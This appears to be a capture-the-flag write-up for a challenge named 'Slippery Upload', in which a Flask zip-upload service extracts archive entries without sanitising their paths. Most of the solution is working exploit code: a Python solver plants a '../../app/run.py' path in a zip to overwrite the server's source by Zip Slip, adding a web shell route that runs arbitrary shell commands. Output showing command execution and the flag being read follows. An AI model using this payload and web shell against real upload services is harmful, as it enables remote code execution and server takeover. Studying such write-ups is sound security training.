SLIPPERY UPLOAD [MODERATE]

Description

Can you abuse the zip upload and extraction service to gain code execution on the server?

Source Code

Click here for /app/run.py in text format
from flask import Flask, request
import zipfile, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'

@app.route('/')
def source():
    return '<pre>%s</pre>' % open('/app/run.py').read()

def zip_extract(zarchive):
    with zipfile.ZipFile(zarchive, 'r') as z:
        for i in z.infolist():
            with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
                f.write(z.open(i.filename, 'r').read())


@app.route('/zip_upload', methods=['POST'])
def zip_upload():
    try:
        if request.files and 'zarchive' in request.files:
            zarchive = request.files['zarchive']
            if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
                zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
                zarchive.save(zpath)
                zip_extract(zpath)
                return 'Zip archive uploaded and extracted!'
        return 'Only valid zip archives are acepted!'
    except:
         return 'Error occured during the zip upload process!'

if __name__ == '__main__':
    app.run()

Short Solution Description / Tags

Zip Slip, RCE

Solution

By Zip Slip, overwrite the source code to add an endpoint for a web shell, and get the flag.

Append the following to run.py:

@app.route("/webshell")
def webshell():
    try:
        from flask import request
        import subprocess

        ret = subprocess.run(
            request.args.get("cmd", "id"),
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )
        return ret.stdout.decode()

        # import sys
        # return sys.version  # 3.6.9 (default, Oct 17 2019, 11:17:29) [GCC 6.4.0]
    except:
        import traceback

        return traceback.format_exc()

solver.py

from zipfile import ZipFile
import io
import requests
import sys

requests.packages.urllib3.disable_warnings()

s = requests.Session()
# s.proxies = {"https": "http://127.0.0.1:8080"}
s.verify = False

BASE_URL = "https://d18d4af074e00c78.247ctf.com"


def main():
    # upload zip
    if len(sys.argv) != 2:
        zip_buffer = io.BytesIO()
        with ZipFile(zip_buffer, "w") as zip:
            zip.writestr("../../app/run.py", open("run.py").read())

        r = s.post(
            f"{BASE_URL}/zip_upload",
            files={
                "zarchive": (
                    "tmp.zip",
                    zip_buffer.getvalue(),
                    "application/octet-stream",
                )
            },
        )
        print(r.text)

    # Command Execution
    else:
        cmd = sys.argv[1]
        r = s.get(f"{BASE_URL}/webshell", params={"cmd": cmd})
        print(r.text)


if __name__ == "__main__":
    main()

Result:

$ python3 solver.py  # upload zipfile
Zip archive uploaded and extracted!

$ python3 solver.py 'id'  # command execution
uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx)

$ python3 solver.py 'ls'
flag_33cd0604f65815a9375e2da04e1b8610.txt
run.py

$ python3 solver.py 'cat flag_33cd0604f65815a9375e2da04e1b8610.txt'
247CTF{[REDACTED]}

References